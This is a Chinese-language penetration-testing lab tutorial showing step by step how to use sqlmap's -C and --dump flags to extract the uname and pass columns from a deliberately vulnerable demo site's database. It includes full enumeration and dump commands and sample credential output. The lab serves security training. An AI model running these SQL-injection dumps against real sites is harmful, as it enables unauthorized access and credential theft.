使用 sqlmap 从特定表列转储数据

Kali LinuxBeginner
立即练习

介绍

在本实验中,你将学习如何使用 sqlmap,一个开源的渗透测试工具,来自动化检测和利用 SQL 注入漏洞以及接管数据库服务器的过程。具体来说,我们将重点介绍如何从已知表中的特定列转储(dump)数据。这是渗透测试和安全审计中的一项常见任务,它允许你只提取所需的相关信息,而不是转储整个表。你将练习识别目标数据库、表和列,然后使用 sqlmap-C 标志来指定所需的数据提取列。

识别目标数据库、表和列

在此步骤中,你将学习如何识别目标数据库、表以及你想要转储数据的特定列。在转储数据之前,你需要知道你在寻找什么。在实际场景中,这些信息通常会通过 sqlmap 的先前枚举步骤(例如,列出数据库、表和列)来收集。在本实验中,我们将假设你已经识别出以下信息:

  • 目标 URL: http://testphp.vulnweb.com/listproducts.php?cat=1 (一个已知的用于演示目的的易受攻击的 URL)
  • 数据库: acuart
  • : users
  • 感兴趣的列: uname (用户名) 和 pass (密码)

这些细节对于构建精确的 sqlmap 命令以仅提取你需要的数据至关重要。

为了模拟初始枚举,你可能已经运行了类似以下的命令(在本实验中无需执行它们,因为我们提供了目标详细信息):

列出数据库:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

列出 acuart 数据库中的表:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

列出 acuart 数据库中 users 表的列:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

在本实验中,我们将直接进行转储特定列的操作,假设上述枚举已完成。

使用 -C 标志指定要转储的列

在此步骤中,你将学习如何在 sqlmap 中使用 -C 标志来指定要转储的列。此标志对于定向数据提取至关重要,它允许你只检索相关信息,避免不必要的数据。

使用 -C 标志的语法很简单:在标志后面直接提供一个逗号分隔的列名列表。

在我们的示例中,我们想从 acuart 数据库的 users 表中转储 uname (用户名) 和 pass (密码) 列。

包含 -C 标志的部分 sqlmap 命令如下所示:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass"

让我们分解一下这个命令的组成部分:

  • -u "http://testphp.vulnweb.com/listproducts.php?cat=1": 指定目标 URL,该 URL 易受 SQL 注入攻击。
  • -D acuart: 指定要从中提取数据的数据库名称 (acuart)。
  • -T users: 指定 acuart 数据库中的表名称 (users)。
  • -C "uname,pass": 这是关键部分。它告诉 sqlmap 在数据转储时只考虑 unamepass 列。

这个命令片段尚未完成数据转储,但它演示了如何正确指定所需的列。在下一步中,我们将添加 --dump 标志来启动实际的数据提取。

使用 --dump 标志启动数据转储

在此步骤中,你将了解 --dump 标志,该标志用于使用 sqlmap 启动实际的数据提取过程。虽然 -C 标志指定了要转储的列,但 --dump 标志指示 sqlmap 执行数据转储操作。

当与目标 URL、数据库、表和列规范结合使用时,--dump 标志会指示 sqlmap 从指定列检索数据并进行保存。

acuart 数据库的 users 表中转储 unamepass 列的完整 sqlmap 命令将是:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump

让我们回顾一下完整的命令:

  • -u "http://testphp.vulnweb.com/listproducts.php?cat=1": 目标 URL。
  • -D acuart: 数据库名称。
  • -T users: 表名称。
  • -C "uname,pass": 要转储的特定列。
  • --dump: 要执行的操作 – 转储数据。

此命令将指示 sqlmap 在给定 URL 上查找 SQL 注入漏洞,如果成功,则从 acuart 数据库的 users 表中的 unamepass 列提取数据。提取的数据通常会保存在 sqlmap 输出目录中的 CSV 文件中。

执行数据转储命令

在此步骤中,你将执行完整的 sqlmap 命令,从指定列转储数据。这将模拟真实世界的数据提取场景。

在终端中打开 ~/project 目录,然后执行以下命令:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump

预期输出:

sqlmap 将首先执行各种测试以检测 SQL 注入漏洞。如果成功,它将继续转储数据。你将看到类似以下的输出(具体输出可能因 sqlmap 版本和目标响应而异):

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
            |_| |_| |_|   3.7#dev (r19000)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is a tool for professional penetration testers only.

[INFO] starting @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/

... (various detection and exploitation messages) ...

[INFO] fetching columns 'uname,pass' for table 'users' in database 'acuart'
[INFO] retrieved 10 entries
Database: acuart
Table: users
+----------+----------+
| uname    | pass     |
+----------+----------+
| test     | test     |
| admin    | admin    |
| john     | doe      |
| ...      | ...      |
+----------+----------+

[INFO] table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[INFO] finished @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/

请密切关注指示数据转储位置的行(例如,table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv')。此路径对于下一步很重要。

注意: sqlmap 在过程中可能会询问你一些问题(例如,关于继续其他测试,或者你是否要存储会话)。对于本次实验,你通常可以按 Enter 接受默认值,或者如果它询问是否跳过广泛的测试,则输入 n

定位并查看 CSV 输出文件中的转储数据

在最后一步中,你将定位 sqlmap 保存转储数据的 CSV 文件并查看其内容。sqlmap 将输出组织在结构化的目录中,通常位于 ~/.local/share/sqlmap/output/ 下。

根据上一步的输出,导航到保存 users.csv 文件的目录。路径将类似于 /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/

首先,让我们导航到 sqlmap 输出目录。确切路径可能因你的 sqlmap 版本和目标而略有不同,但通常遵循以下模式:~/.local/share/sqlmap/output/<target_domain>/dump/<database_name>/

在我们的示例中,路径很可能是 /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/

使用 ls 命令列出此目录的内容:

ls -l ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/

你应该会看到列出的 users.csv(以及可能存在的其他文件)。

现在,使用 cat 命令查看 users.csv 文件的内容:

cat ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

预期输出:

输出将显示 unamepass 列,其中每一行代表 users 表中的一个条目。

uname,pass
test,test
admin,admin
john,doe
...

这证实了 sqlmap 成功提取了仅指定的列,展示了 -C 标志在定向数据转储方面的有效性。

总结

在本实验中,你已成功学会如何使用 sqlmap 从特定表列中转储数据。你首先了解了识别目标数据库、表和列的重要性。然后,你练习了使用 -C 标志指定所需列和 --dump 标志启动数据提取来构建 sqlmap 命令。最后,你执行了命令并在生成的 CSV 输出文件中验证了转储的数据。这种定向方法在渗透测试和安全评估期间对于高效和精确的数据检索至关重要。